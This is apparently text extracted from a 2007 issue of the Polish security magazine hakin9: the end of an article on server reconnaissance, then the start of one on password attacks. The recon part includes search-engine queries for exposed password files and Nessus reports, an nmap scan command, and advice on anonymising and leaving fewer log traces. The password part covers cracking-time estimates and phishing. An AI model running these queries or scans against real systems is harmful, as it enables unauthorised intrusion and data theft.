Aby  to  uczynić,  należy  odpowied-
nio przeszukać zasoby udostępnio-
ne  przez  serwer.  Ze  swojej  strony 
proponuję  sprawdzić,  czy  na  ser-
werze  występują  pliki  robots.txt 
– odpowiedzialne za nadzór ruchu
botów  internetowych  na  stronie. 
Często  pliki  i  foldery  zablokowa-
ne  przed  indeksowaniem  przez 
boty  zawierają  ważne  informacje. 
Sprawdzamy prozaicznym pytaniem: 

intitle:index.of robots.txt

.

Sprawdzić,  czy  wśród  danych 

publicznych  lub  zabezpieczonych 
przez ukrycie, nie występują intere-
sujące dane. W tym celu skorzysta-
my z wyszukiwania w nazwie dome-
ny xyzmiasto.pl 
(

site: xyzmiasto.pl

stron  zawierających  indeks  folde-
rów ze specyficzną nazwą. Zrobimy 
to  stosując  zapytanie 

„index.of. _

nazwa _ folderu _ ”

.  Proponuję  zba-

dać  istnienie  folderów  o  nazwach: 
prywatne, ukryte,

 temp

,

 secure

,

 pass

,

moje

, wszelkie kombinacje w/w nazw 

Tabela 3. 

Usługi oraz porty, na jakich nasłuchują ich aplikacje

Nazwa usługi

Port

Opis

ftp-data

20/tcp/udp

Protokół przesyłu plików 
[dane]

ftp

21/tcp/udp

Protokół przesyłu plików 
[sterowanie]

ssh

22/tcp/udp

Zdalny dostęp do serwera 
– usługa Secure Shell Login

telnet

23/tcp/udp

Zdalny dostęp do serwera 
– usługa telnet

smtp

25/tcp/udp

Simple Mail Transfer Protocol 
– wysyłanie poczty

domain

53/tcp/udp

Domain Name Server 
– obsługa zapytań DNS

finger

79/tcp/udp

Usługa finger

http

80/tcp/udp

Usługa World Wide Web 
HTTP

pop3

110/tcp/udp

Post Office Protocol - Version 3 
– odbiór poczty

sftp

115/tcp/udp

Simple File Transfer 
Protocol

netbios-ssn 

139/tcp

NETBIOS Session Service

sqlsrv

156/udp

SQL Service

ms-sql-s 

1433/tcp

Microsoft SQL Server- baza danych 
SQL firmy Microsoft

mysql 

3306/tcp

MySQL 
– baza danych SQL

postgresql 

5432/tcp

Baza danych 
PostgreSQL 

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

32

angielskich i polskich,

 backup

kopia

,

 

tmp

 

etc

. – wszystko według uznania 

poszukującego.

Sprawdzić,  czy  na  serwerze 

nie  znajdują  się  raporty  Nessu-
sa
,  co  ułatwiłoby  bardzo  zadanie: 

intitle:"Nessus Scan Report"

"This 

file was generated by Nessus"

. Szu-

kamy,  jak  poprzednio,  w  domenie 
xyzmiasto.pl.

Sprawdzić, czy na serwerze nie 

znajdują się pliki zawierające nazwy 
użytkowników  lub  hasła  dostępne 
z  poziomu  wyszukiwarki  – 

passwd 

etc

.

Sprawdzić,  czy  serwer  nie  ob-

sługuje  systemu  statystyk  takiego 
jak  np.  phpsysteminfo  lub  inny  po-
dobny – dałoby nam to ogromny za-
sób  informacji  o  maszynie:  +intext:
Info +intext
:Usage Statistics for.

Więcej przykładów zapytań znaj-

duje  się  w  GHD  –  zajrzyj  do  ramki
W Sieci.

Innym ciekawym zastosowaniem

wyszukiwarki  jest  zadawanie  py-
tań  zwracających  wyniki  podob-
ne  do  rezultatów  działania  progra-
mu finger. Wyszukiwarka wyświetli 
nam wszystkich użytkowników, któ-
rych działalność jest bezpośrednio 
kojarzona  z  daną  domeną  według 
zindeksowanych  przez  nią  stron.
W  celu  wykorzystania  tej  funkcjo-
nalności możemy jak zwykle zada-
wać  pytania  ręcznie  lub  wykorzy-
stać gotowe skrypty, np. autorstwa 
Sergio Alvareza. Listing 2. prezen-
tuje  uzyskane  wyniki,  przy  czym 
pierwsze  linijki  to  wygląd  zapyta-
nia,  a  następne  to  zwracane  re-
zultaty.

Prowadząc  w  dalszym  ciągu 

działania  tego  typu,  wyszukiwar-
ka po zastosowaniu innego skryp-
tu  zwróciła  nam  aktualne  adresy 
e-mail na podstawie listy z Listingu 
2. – do każdej nazwy należy dodać 
@xyzmiasto.pl. Istnieje inne intere-
sujące  zastosowanie  –  ekstrakcja 
adresów  URL  z  podanej  domeny. 
W  tym  celu  dla  wygody  i  automa-
tyzacji możemy zastosować narzę-
dzie  o  nazwie  list-urls.  Uzyskane 
adresy  pozwolą  nam  określić  inne 
strony,  na  których  być  może  znaj-
dują  się  dane  dotyczące  interesu-
jącej nas maszyny. Często taka sy-
tuacja ma miejsce i istotnie wpływa 
na obniżenie poziomu bezpieczeń-
stwa. Przykładowy wynik działania 
programu prezentuje Listing 3.

Przechodząc  na  nieco  wyższy 

poziom sprawdzania i poszukiwania, 
warto  zapoznać  się  z  wynikami  do-
starczanymi przez bazy whois – dzia-
łania  funkcjonalne  DNS  opisane  są
w  RFC  o  numerach  1034  i  1035
w wolnych chwilach można się  z ni-
mi zapoznać. Należy pamiętać, że ist-
nienie  poddomen  dla  danej  domeny
z nazwami np. smtp, pop, pop3www
ftp  itp.  może  świadczyć  o  istnieniu 
tych  usług  na  konkretnej  maszynie. 
Ułatwia  nam  to  pracę  przy  analizie 
hosta, ponieważ wygenerujemy mniej 
ruchu, który zostanie zalogowany na 
serwerze, a ponadto nie musimy już 
sprawdzać istnienia usług we wstęp-
nej fazie działań, co znacznie je przy-
spieszy. Mamy także świadomość, że 
serwer  może  być  narażony  na  ataki 
wymierzone  w  te  usługi,  dlatego  też 
zawęża  się  nasze  pole  poszukiwań 
w  przypadku  testów  penetracyjnych. 
Wśród  danych  wyświetlanych  z  baz 
danych DNS znajduje się kilka innych 
wartych uwagi rzeczy – przykładowy 
wycinek przedstawia Listing 4.

Jesteśmy  w  stanie  zdobyć  da-

ne administratora domeny, co może 
być  bardzo  pomocne  w  działaniach 
social  engineering  oraz  zdobywa-
my informacje pomocne w przypad-
ku  prób  dostępu  do  strefy  DNS  lub 
jej  transferu  (za  pomocą  np.  Sam 
Spade
). Inną możliwością uzyskania 
przydatnych  informacji  dotyczących 
nazw  internetowych  danej  maszyny

Tabela 4. 

Rezultaty działania Nessusa

Wykrycie

Status/Opis

System

Linux

Poziom 
Zagrożenia

Wysoki

Otwarte 
porty

9, z czego 2 jako zagrożone
 

Port palace-5 (9996/tcp)

 

działające PsyBNC

 

Port ftp (21/tcp)

 

Anonymous FTP – dostępne

 

Port ssh (22/tcp)

1.33
1.5
1.99
2.0
SSHv1 host key fingerprint : 75:97:cc:70:2c:87:56:c0:b0:77:
38:f8:56:20:b1:2b
SSHv2 host key fingerprint : 16:90:40:fb:9e:f0:6e:ea:51:bc:
51:9d:2b:74:49:2e
Port http (80/tcp)
mod_ssl hook functions format string vulnerability
Synopsis :
Arbitrary code can be executed on the remote host
Description :
The remote host is using a version of mod_ssl which is
older than 2.8.18.
This version is vulnerable to a flaw which may allow an at-
tacker to disable
the remote web site remotely, or to execute arbitrary code 
on the remote
host.
Apache mod_proxy content-length buffer overflow

Itd.

background image

Poznaj swój komputer – oczami intruza

hakin9 Nr 12/2007

www.hakin9.org

33

jest  wykorzystanie  programu  DiG
a  efekty  jego  wykonania  prezentuje 
Listing 5. Dane uzyskane w ten spo-
sób, pomimo że same w sobie nie są 
groźne,  mogą  zostać  wykorzysta-
ne w bardzo niebezpieczny sposób. 
W  tym  momencie  nasuwa  się  pyta-
nie o problem ukrycia danych perso-
nalnych w rejestrach i bazach DNS. 
Jak się przedstawia sytuacja? Moż-
liwość  ukrycia  danych  na  pewno
poprawiła  by  bezpieczeństwo  i  za-
pewniła większą prywatność właści-
cielom  domen.  W  końcu  sam  przez 
cały  artykuł  mówię  o  odpowiednim 
poziomie  bezpieczeństwa  oraz  roz-
wadze  przy  publikacji  jakichkolwiek 
danych.  Z  drugiej  strony  pojawiają 
się zwykli użytkownicy korzystający 
z  Sieci  –  ukrycie  danych  w  bazach 
przede  wszystkim  przeszkodziłoby 
właśnie  im,  gdyż  personalia  te  są
jedynym  sposobem  zidentyfikowa-
nia  prowadzącego  usługi.  Jak  wi-
dać, w tej kwestii problem jest trudny 
do  rozwiązania.  Nadeszła  pora  wy-
korzystania metod aktywnych i silniej 
ingerujących  w  działanie  serwera.
Aby  móc  odczuwać  pewien  komfort 
pracy,  warto  zadbać  przynajmniej
w minimalnym stopniu o własne bez-
pieczeństwo. W tym obszarze mamy 
kilka możliwości, a do bardziej popu-
larnych  należy  wykorzystanie  meto-
dy onion routingu (aplikacja TOR) lub 
użycie oprogramowania JAP.

Jaka jest ich zasada ich działania 

w pigułce? JAP wykorzystuje serwe-
ry pośredniczące w taki sposób, że 
użytkownik  jest  ukryty  za  wszystki-
mi  połączeniami  (tworzone  są  wir-
tualne  tunele).  Nikt  z  zewnątrz  sie-
ci  pośredniczącej,  a  nawet  z  samej 
sieci  nie  jest  w  stanie  przyporząd-
kować  konkretnego  połączenia  do 
użytkownika. Usługę serwerów po-
średniczących  udostępniają  nieza-
leżne instytucje, które oficjalnie de-
klarują  nieprzechowywanie  logów 
połączeń.

Mając  już  nieco  podniesiony 

stopień  anonimowości  połączenio-
wej  (należy  pamiętać,  że  pomimo 
tak wspaniałych deklaracji i cudow-
nych  opisów działań, w Sieci cięż-
ko być anonimowym), przystępuje-
my do dalszych analiz.

Kolejnym  naszym  krokiem  bę-

dzie  ręczna  analiza  usług  świad-
czonych  przez  serwer.  Zaczniemy 
od  poszerzenia  informacji  dotyczą-
cych  usług  pracujących  na  zdalnej 
maszynie. Po badaniach przeprowa-
dzonych wcześniej jesteśmy w 90% 
przekonani, iż system obsługuje po-
cztę, serwer WWW i FTP (lub w naj-
bliższym  czasie  zacznie).  Możemy 
to wnioskować z tak wysokim pozio-
mem pewności, gdyż mamy świado-
mość  istnienia  odpowiednich  nazw 
DNS związanych z testowaną dome-
ną. Aby nie generować od razu wiel-
kiej ilości logów, sprawdzimy jedynie 
usługi najczęściej występujące. Jakie
to  usługi?  Przedstawia  je  tabelka 
usług  przygotowana  na  podstawie 
pliku services.

Sprawdzenie, chociażby przez po-

łączenie  za  pomocą  telnetu  z  każ-
dym  portem,  prócz  upewnienia  nas 
o istnieniu danej usługi, zwróci nam 
często jej baner. Informacja taka jest 
prezentowana  jako  powitanie,  któ-
re nierzadko zawiera wersję serwe-
ra, lub nawet systemu na którym ten 
pracuje.

Co dalej? Sprawdźmy, co powie 

nam o systemie nmapnmap -sS -sV 
-p 13,21,22,80,1433,
 3306,5432 -P0 
xyzmiasto.pl
 (opcje i sposoby skano-
wania to temat na oddzielną publika-
cję,  dlatego  nie  będę  ich  tłumaczyć 
nawet powierzchownie – zapraszam 
do zapoznania się z odnośnikami).

W  rezultacie  uzyskaliśmy  dane 

takie, jak na Listingu 6. z których mo-
żemy  odczytać  wersję  demona  ftp, 
ssh  i  http
.  Do  informacji  zaprezen-
towanych  przez  nmapa  należy  tak-
że  zaliczyć  dane  o  systemie,  pre-
zentowanym jako nieznany. Do wyni-
ków można podejść na kilka sposo-
bów, ale najlepiej przyjrzeć się sekcji
fingerprint.  Znajduje  się  w  niej  in-
formacja,  która  może  być  niezwykle 
ważna – slackware–linux–gnu. Może-
my wnioskować z zaprezentowanych 
danych,  iż  serwer  pracuje  na  syste-
mie  Linux  Slackware,  a  ze  względu 
na  niemożliwość  dokładnego  rozpo-
znania,  że  jest  to  świeża  instalacja 
np. wersji 12.0 lub z currenta.

W  każdym  przypadku  należy

pamiętać,  iż  podczas  wykonywania 

jakichkolwiek  analiz,  zawężenie  ob-
szaru poszukiwań i testów zmniejsza 
znacznie ilość danych które zostaną 
zapisane  w  logach  serwera.  Na  do-
wód  tych  słów  proszę  zapoznać  się
z ramką wielkości śladów.

Kolejnym  narzędziem,  które  za-

stosujemy  jest  Nessus  –  znakomity 
skaner podatności. Jest on w zasa-
dzie podstawowym narzędziem, któ-
re jest wykorzystywane w wielu sy-
tuacjach  przez  specjalistów  różnej
kategorii.  Najważniejszym  elemen-
tem  wykorzystania  Nessusa  jest 
umiejętność  doboru  kryteriów  testu. 
Będąc już po licznych krokach anali-
zy serwera, jesteśmy w stanie okre-
ślić jego konfigurację i budowę struk-
turalną  –  po  analizach  pasywnych 
możemy śmiało powiedzieć, że kom-
puter nie pracuje ani na systemie pro-
dukcji  Microsoftu,  ani  na  *BSD  czy 
Solarisie.  Potrafimy  nawet  wskazać, 
że systemem zarządzającym maszy-
ną  jest  Linux  Slackware.  W  trakcie 
badania  strony  nie  mogliśmy  stwier-
dzić  działania  aplikacji  CGI,  ani  też 
faktu istnienia bardziej zaawansowa-
nych  i  znanych  systemów  portalo-
wych w PHP. Wiemy także, że serwer 
na pewno nie jest serwerem sprzęto-
wym, zatem możemy wyłączyć z pro-
cesu  analizy  kolejne  grupy  wtyczek 
Nessusa.  Śmiało  usuwamy  wszyst-
kie pluginy związane z systemami in-
nymi niż Linux w ogólności, oraz inne
niż  Slackware,  możemy  także  usu-
nąć te związane z CGI oraz routerami 
sprzętowymi  CISCO.  W  tym  stadium 
analizy  nie  interesują  nas  także  po-
datności na ataki DoS ani możliwości 
zdalnego  przejęcia  uprawnień  roota
Przeglądając dalej listę pluginów Nes-
susa
  oraz  analizując  ją  w  kontekście 
posiadanych  informacji,  jesteśmy  w 
stanie znacznie zmniejszyć potencjal-
ną  ilość  logów  wygenerowanych  na 
analizowanym  systemie.  Do  skutecz-
nego wykorzystania Nessusa powyż-
sza  ścieżka  jest  najlepsza  –  im  wię-
cej dowiemy się o serwerze bez silnej
ingerencji, tym mniej śladów zostawi-
my w trakcie działań aktywnych. Sam 
proces skanowania nie jest dla nas aż 
tak  istotny,  ważniejsze  są  natomiast 
wyniki, które częściowo prezentuje ta-
bela  rezultatów.  Warto  pamiętać,  że 

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

34

Nessus  oprócz  wskazania  potencjal-
nych błędów zamieszcza do nich opis 
i  sposób  usunięcia,  oraz  że  czytanie
o  czymś  bez  robienia  tego  nie  ma 
sensu  –  zachęcam  do  zabawy  tym
programem  i  poznawaniem  świata 
bezpieczeństwa informatycznego.

Zbierając informacje ze wszystkich 

etapów  analizy,  możemy  stworzyć
wirtualny  obraz  serwera  –  określić, 
na jakim systemie pracuje, jakie usłu-
gi świadczy i za pomocą jakiego opro-
gramowania. Potrafimy także określić 
charakterystykę  działalności  serwe-
ra, potencjalnych właścicieli i admini-
stratorów. Mamy wystarczający zasób 
wiedzy,  aby  wskazać  partnerów  sys-
temu  poddawanego  analizie,  a  prócz 
tego jesteśmy w stanie odtworzyć je-
go  wygląd  z  rożnych  etapów  istnie-
nia. Problemem nie jest również stwo-
rzenie  profili  psychologicznych  osób 
związanych z maszyną w sposób po-
średni, jak i bezpośredni. Mamy moż-
liwość  zbudowania  podobnej  maszy-
ny wyglądającej z zewnątrz w sposób 
identyczny,  jak  nasz  cel  i  prowadze-
nia na niej prób penetracyjnych. Zasób
informacji,  które  jesteśmy  w  stanie 
zgromadzić  w  taki  sposób,  jest  prak-
tycznie  nieograniczony  –  stosujemy 
metody nieinwazyjne, a dopiero mając 
świadomość  wyglądu,  poziomu  bez-
pieczeństwa  i  zaawansowania  konfi-
guracji  przystępujemy  do  działań  ak-
tywnych – takie rozpoznanie daje nam 
dużą  przewagę  nad  administratorem 
i całym personelem technicznym.

Podsumowanie

Nie  bez  przyczyny  wzięło  się  powie-
dzenie kto pyta, nie błądzi – rodzajem 
informatycznego pytania jest umiejęt-
ność wyszukiwania informacji w Sieci.
Przeszukując ją jesteśmy w stanie na-
trafić  na  dane  personalne  milionów 
ludzi i właśnie w tym miejscu tworzy 
się  bardzo  groźny  problem.  Nie  jest 
ważne,  czy  skierujemy  swoją  uwa-
gę w konkretnym kierunku – na jed-
ną osobę, czy też spojrzymy na ogół 
społeczności informatycznej. Zarów-
no z jednej, jak i z drugiej perspekty-
wy widzimy użytkowników będących 
w niebezpieczeństwie, które sami pro-
wokują.  Podążając  dalej  ścieżką  po-
szukiwań przedstawiłem podstawowe 

sposoby zdobywania danych o serwe-
rach. Metody, które zaprezentowałem, 
należą  do  elementarnych,  lecz  ich 
skuteczność  jest  na  tyle  wysoka,  że 
w  zupełności  wystarcza  do  stworze-
nia  wstępnego  obrazu  analizowane-
go środowiska. Łącząc oba działania 
w całośći stosując konkretnie przeciw-
ko  określonej  jednostce  –  jesteśmy,
w  zależności  od  naszych  dalszych
intencji, w stanie znaleźć się w posia-
daniu danych niebezpiecznych i waż-
nych dla firmy, otwierając sobie drogę 
do całej palety ataków: od social engi-
neeringu zaczynając, kończąc na kra-
dzieży. Znając stan Sieci i wagę pro-
blemu zaprezentowałem wiele metod 

– w sposób może mało dokładny, jed-
nak działanie to było zamierzone. Bo 
przede wszystkim moim głównym ce-
lem było wywołanie w Czytelniku chę-
ci samodzielnego zgłębienia szczegó-
łów – co uczyni jedynie praktyką, oraz 
uwrażliwienie  wszystkich  użytkowni-
ków na niebezpieczeństwo kradzieży 
danych  i  tożsamości  oraz  zwrócenie 
szczególnej uwagi na rangę informa-
cji personalnych, które w Sieci umiesz-
czane są gdzie popadnie.

Pamiętajmy,  że  skutecznym  ata-

kiem jest atak wymierzony w niestrze-
żone  punkty  (jawnie  pozostawione 
wrażliwe dane) i przeprowadzony nie-
spodziewanymi drogami. l

Rysunek 8. 

Nagłówek TCP

O autorze

Autor od wielu lat interesuje się informatyką – swoje zainteresowania skupił głównie na 
zagadnieniach i problematyce sieci komputerowych oraz bezpieczeństwa teleinforma-
tycznego. Jest samoukiem i pasjonatem. Studiuje informatykę na wydziale Cybernety-
ki Wojskowej Akademii Technicznej.
Kontakt z autorem: bartosz.kalinowski@gmail.com

W Sieci

•   http://www.paterva.com/web/Maltego/ – znakomity program do analizy relacji w Sieci,
•   http://www.googleguide.com/advanced_operators_reference.html – Google w pi-

gułce,

•   http://johnny.ihackstuff.com/ghdb.php – baza zapytań Google stworzona w celach 

penetracyjnych,

•   http://tor.eff.org/ – oprogramowanie do zapewnienia anonimowości w Sieci,
•   http://www.securityfocus.com/infocus/1527 – podstawy social engineeringu,
•   http://www.securityfocus.com/infocus/1860 – social engineering: inne spojrzenie, 
•   http://nessus.org – strona domowa Nessusa,
•   http://network-tools.com/ – narzędzia sieciowe typu traceroute, ping etc.

background image
background image

www.hakin9.org

hakin9 Nr 12/2007

36

Atak

O

d  dawna  hasła  uważa  się  za  jedno
z najsłabszych miejsc w systemie bez-
pieczeństwa  informacji.  Dzieje  się  tak 

dlatego,  że  bezpośrednio  zależą  one  od  bez-
dyskusyjnie najsłabszego ogniwa tego łańcucha 
– człowieka (użytkownika). To właśnie użytkow-
nik decyduje o ostatecznej treści hasła i pozio-
mie jego poufności. Różnego typu ataki na hasła 
i próby ich nieuprawnionego pozyskiwania są sto-
sunkowo proste do przeprowadzenia, nie wyma-
gają fachowej wiedzy i bywają trudne do wykry-
cia. Wrogie działania związane z hasłami mogą 
wykorzystywać ich organizacyjne lub techniczne 
słabości i podatności. Do pierwszej grupy zaliczy-
my sytuacje używania haseł zbyt mało skompli-
kowanych, rzadkiego ich zmieniania, czy choćby 
wykorzystywania w kilku systemach tego same-
go  hasła.  Sfera  podatności  technicznych  wiąże
się  przykładowo  z  zastosowaniem  słabych  me-
chanizmów  kryptograficznych  lub  ze  źle  napi-
sanym  oprogramowaniem,  które  przechowu-
je hasła w formie otwartych łańcuchów znaków
w łatwo dostępnych plikach lub bazach danych.

Silne i słabe hasła

Siła  hasła  wpływa  bezpośrednio  na  efektyw-
ność większości metod i technik ataków na has-

ła,  ma  więc  fundamentalne  znaczenie  dla 
bezpieczeństwa  chronionych  przez  hasło 
aktywów. O sile hasła na dobrą sprawę de-
cyduje użytkownik, będący czasem do pew-
nego stopnia zdeterminowany przez politykę 
bezpieczeństwa systemu, która ma zapobie-
gać tworzeniu haseł zbyt słabych. Niekiedy 
mawia się z pewną dozą ironii, że hasło jest 
silne  wtedy,  kiedy  człowiek  nie  jest  już  go
w  stanie  zapamiętać  i  musi  je  zapisać  na 
żółtej  karteczce  przyklejonej  do  monitora. 
Niestety, w tym – jakkolwiek przerysowanym 

Słabość 

mocnych haseł

Marcin Guzowski

stopień trudności

Zastosowanie haseł to nadal podstawowa metoda 

uwierzytelniania w systemach informatycznych. Wszelkiego 

typu klucze alfanumeryczne, tajne słowa, PINy to często jedyne 

zabezpieczenie aktywów systemu przed nieupoważnionym 

dostępem. Niestety, w dobie stale rosnących możliwości 

obliczeniowych jest to zabezpieczenie coraz mniej skuteczne.

Z artykułu dowiesz się

•   jak tworzyć silne hasła oraz jaki jest teoretyczny 

czas ich łamania,

•   jakie  metody  i  techniki  ataków  na  hasła  są 

obecnie stosowane,

•   jakie oprogramowanie stosowane jest podczas 

ataków na hasła.

Co powinieneś wiedzieć

•   powinieneś posiadać podstawową wiedzę z za-

kresu bezpieczeństwa systemów i kryptografii.

background image

Słabość mocnych haseł

hakin9 Nr 12/2007

www.hakin9.org

37

– stwierdzeniu jest trochę prawdy, 
gdyż  co  do  zasady  im  hasło  ma 
większą  siłę,  tym  jest  mniej  przy-
jazne w użytkowaniu.

Zgodnie z większością zaleceń, 

silne (mocne) hasło powinno:

•   składać  się  z  dostatecznie  róż-

norodnych znaków (małe i wiel-
kie  litery  alfabetu,  cyfry  oraz 
znaki specjalne typu #$@!&^*),

•   być dostatecznie losowe lub moż-

liwe do odtworzenia jedynie przez 
osobę  znającą  określony  sekret 
–  nie  może  składać  się  ze  zna-
nych  lub  kiedykolwiek  opubliko-
wanych słów,

•   być dostatecznie długie (wszyst-

ko zależy od wartości aktywów 
jakie  chroni,  ale  najczęściej  za 
minimum  –  przy  spełnieniu  po-
przednich założeń – uznaje się 
hasło 8–znakowe).

W sieci można spotkać wiele gene-
ratorów silnych haseł. Zakładając, że 
8–znakowe hasła z Rysunku 1. wyge-
nerowane za pomocą jednego z nich 
(http://guzowski.info/passgen,pl
składać się mogą z 75 różnych zna-
ków, haker ma 75^8 możliwych kom-
binacji do sprawdzenia (w ujęciu ma-
tematycznym  jest  to  tzw.  wariacja 
z  powtórzeniami).  Komputer  PC  z 
procesorem  taktowanym  z  często-
tliwością  3  GHz  jest  w  stanie  wy-
generować  ok.  3  000  000  haseł  na
sekundę. Oznacza to, że haker wy-

posażony w przeciętny komputer bę-
dzie  w  stanie  sprawdzić  wszystkie 
kombinacje w około 10 lat. Jeżeli jed-
nak zwiększymy długość hasła do 10 
znaków, czyli ilość kombinacji wynie-
sie 75^10, to – przy tych samych za-
łożeniach  –  maksymalny  teoretycz-
ny  czas  łamania  hasła  wyniesie  już 
prawie 60 tysięcy lat. Dla porówna-
nia, wszystkie kombinacje dla słabe-
go  6–znakowego  hasła  składające-
go się wyłącznie z małych liter i cyfr 
zostaną  wygenerowane  w  12  mi-
nut. Można jednak wyobrazić sobie
silne hasło, które składa się np. wy-
łącznie  z  wielkich  liter  alfabetu  ła-
cińskiego – w takim przypadku musi 
ono być dostatecznie długie (10–11 
znaków). Oczywiście podane czasy 
pełną wyłącznie rolę pewnych punk-
tów  odniesienia,  gdyż  w  rzeczywi-
stości  wygenerowane  hasło  musi 
być jeszcze np. wysłane do systemu 
zdalnego lub odpowiednio przetwo-
rzone  (zaszyfrowane),  co  oczywi-
ście może znacznie wydłużyć czas 
niezbędny do realnego wykorzysta-
nia wygenerowanych haseł.

Haker najczęściej nie wie, z jak 

silnym hasłem ma do czynienia. Wy-
musza to na nim podjęcie pewnych
założeń,  które  stanowią  kompro-
mis  między  czasem  sprawdzania 
możliwych  kombinacji  a  ich  dłu-
gością  i  skomplikowaniem.  Więk-
szość  technik  łamania  haseł  za-
kłada etapowość procesu, gdzie w 
początkowych  krótkotrwałych  eta-

pach  sprawdzane  są  proste  kom-
binacje, a w kolejnych – te bardziej 
skomplikowane, co jest oczywiście 
bardziej  czasochłonne.  Niestety, 
według  różnych  szacunków  od  kil-
kunastu  do  kilkudziesięciu  procent 
wszystkich haseł na świecie zosta-
łoby złamane już na początkowych 
etapach  tego  typu  działań.  Hasła 
użytkowników są najczęściej słabe 
–  wykorzystują  powszechnie  zna-
ne  słowa  i  są  jednocześnie  krót-
kie i nieróżnorodne. Hasła czasem 
są tak słabe, że haker nie musi na-
wet  używać  komputera,  by  je  od-
gadnąć, jak np. w sytuacji zastoso-
wania jako hasła daty urodzenia lub 
imienia partnera. Często wystarczy 
więc  zebrać  podstawowe  informa-
cje o właścicielu hasła, by znaczą-
co zwiększyć szanse na jego szyb-
kie odgadnięcie.

Zapamiętywanie  silnych  haseł 

może  być  kłopotliwe,  zwłaszcza 
że  nawet  średnio  zaawansowany 
użytkownik  uwierzytelnia  się  w  co 
najmniej  kilku  systemach.  Wyko-
rzystywanie  jednego  i  tego  sa-
mego  hasła  do  wszystkich  syste-
mów jest fatalnym pomysłem, gdyż
haker na pewno będzie próbował wy-
korzystać każde odgadnięte hasło
w  innych  miejscach.  Hasła  powin-
ny  być  różnorodne,  jeżeli  jednak 
–  ze  względu  na  ich  ilość  –  nie 
jest  to  możliwe,  najczęściej  zale-
ca  się,  aby  składały  się  z  części 
stałej (wspólnej wszystkim hasłom

Rysunek 1. 

Generator silnych haseł

Terminologia

Siła  hasła  (ang.  password  strength
–  stopień  trudności  odgadnięcia  okre-
ślonego  hasła  przez  nieupoważnioną 
jednostkę. Najczęściej występuje w for-
mie opisowej (hasło słabe, podatne na 
złamanie, mocne). Przy ocenie siły ha-
sła  nie  uwzględnia  się  sposobu  prze-
chowywania  hasła  w  systemie,  meto-
dy transmisji i innych kwestii niezwiąza-
nych bezpośrednio z merytoryczną tre-
ścią hasła. Za miarę siły hasła zwykle 
uznaje się hipotetyczny czas niezbęd-
ny do jego złamania lub wyrażaną w bi-
tach entropię informacyjną (ang. infor-
mation  entrophy
),  o  ile  hasło  powsta-
wało w sposób losowy.

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

38

danego  użytkownika)  i  części 
zmiennej.  Ważne  jest,  aby  pat-
rząc  na  dane  hasło,  nie  dało  się 
tych  części  w  prosty  sposób  od-
różnić  –  np.  w  łańcuchu  znaków 
d%4d&Gb!aV  częścią  dynamicz-
ną  może  być  3  i  6  znak,  przykła-
dowa wersja tego hasła dla innego
systemu  wyglądałaby  następu-
jąco  –  d%7d&nb!aV.  Oczywiście 
część  zmienna  hasła  powinna  je-
go właścicielowi kojarzyć się z da-
nym systemem – przy założeniu, że
podobnego  skojarzenia  nie  będzie 
w  stanie  odtworzyć  żadna  inna 
osoba. Alternatywą są hasła mne-
moniczne,  czyli  łańcuchy  znaków 
powstałe  przez  pewne  przekształ-
cenia większego tekstu – np. przez 
wzięcie  pierwszych  liter  słów  z 
fragmentu wiersza i dokonanie pro-
stych transliteracji. Przykładem ta-
kiego podejścia jest choćby Bs, bd, 
tsl;  @0dm
  (Bez  serc,  bez  ducha, 
to  szkieletów  ludy,  Oda  do  młodo-
ści
,  A.  Mickiewicz).  Nieco  bardziej 
skomplikowany  sposób  tworzenia 
hasła  zakłada  metoda  diceware
passphrase
,  która  polega  na  lo-
sowaniu  zwykle  pięciu  tzw.  fraz 
hasła (słów) ze słownika składają-
cego się – w przypadku języka an-
gielskiego – z 7776 słów. Hasło ta-
kie  wygląda  następująco:  meyers 
stingy butane 111 august
. Jego siła
w zasadzie odpowiada sile 10–zna-
kowego  hasła  składającego  się
z  małych  i  wielkich  liter,  cyfr  oraz 

znaków specjalnych, a – przynajm-
niej  teoretycznie  –  ma  być  dużo
łatwiejsze do zapamiętania.

Ataki na hasła

Jest  wiele  sposobów  prowadzą-
cych  do  nieuprawnionego  pozyska-
nia  hasła.  Niektóre  z  nich  zakładają 
konieczność  fizycznego  dostępu  do 
tzw.  skrótów  haseł  (ang.  hash),  inne 
–  wręcz  przeciwnie.  Nie  wdając  się
w  terminologiczne  rozważania,  kate-
gorię działań związanych z nieupraw-
nionym  pozyskiwaniem  treści  hasła 
nazywać będę atakami na hasła. Dla 
jasności dodam tylko, że określenie ła-
manie haseł
 (ang. password cracking
odnosi  się  najczęściej  do  metod  od-
tworzenia treści hasła z hasha, a nie 
np. do prób zdalnego ich odgadnięcia 
z  zastosowaniem  słownika.  Wybra-
ne metody ataków na hasła o podsta-
wowym  znaczeniu  zostaną  omówio-
ne poniżej.

Social engineering

Inżynieria  społeczna  uderza  w  naj-
słabsze  ogniwo  łańcucha  bezpie-
czeństwa  informacji  –  użytkownika. 
To  dlatego  metoda  ta  jest  tak  sku-
teczna.  Jedną  z  technik  ataku  na 
hasła,  wykorzystującą  założenia  in-
żynierii  społecznej,  jest  phishing. 
Phishing  to,  najogólniej  mówiąc, 
oparte  na  oszustwie  pozyskanie  in-
formacji poufnej (jak np. hasła). Klu-
czem do sukcesu podczas stosowa-
nia technik inżynierii społecznej jest 
wzbudzenie  zaufania  potencjalnych 
ofiar,  czyli  przekonanie  ich  do  pod-
jęcia  określonych  działań.  Typowy 
scenariusz  phishingu  wygląda  na-
stępująco:  klienci  otrzymują  wiado-
mość (rzekomo) od swojego banku. 
Adres nadawcy wygląda na zupełnie 
poprawny, semantycznie e–mail tak-
że nie budzi żadnych zastrzeżeń.

Cracker  musi  dysponować  spre-

parowaną stroną, która sprawia wra-
żenie  strony  systemu  bankowego. 
Stworzenie podobnej witryny (włącz-
nie z zarejestrowaniem podobnej do-
meny,  dodaniem  logo,  ujednolice-
niem  designu  i  akceptacją  połączeń 
przez  bezpieczny  protokół)  nie  jest 
żadnym  problemem.  Atakujący  mo-
że wysłać powyższą wiadomość do 

więcej niż jednego użytkownika, pod-
nosząc tym samym potencjalną sku-
teczność  swoich  działań.  Może  też 
dodać do wiadomości kilka dodatko-
wych stwierdzeń, które w oczach od-
biorcy podniosą jej wiarygodność (np. 
– jakkolwiek bezczelne – ostrzeżenie 
lub pouczenie o zachowaniu danych 
autoryzacyjnych  w  tajemnicy).  Oma-
wiana  metoda  ataku  należy  ciągle 
do bardzo skutecznych i – co istotne 
– hasło zostaje pozyskane w sposób 
nieuprawniony  zupełnie  niezależnie 
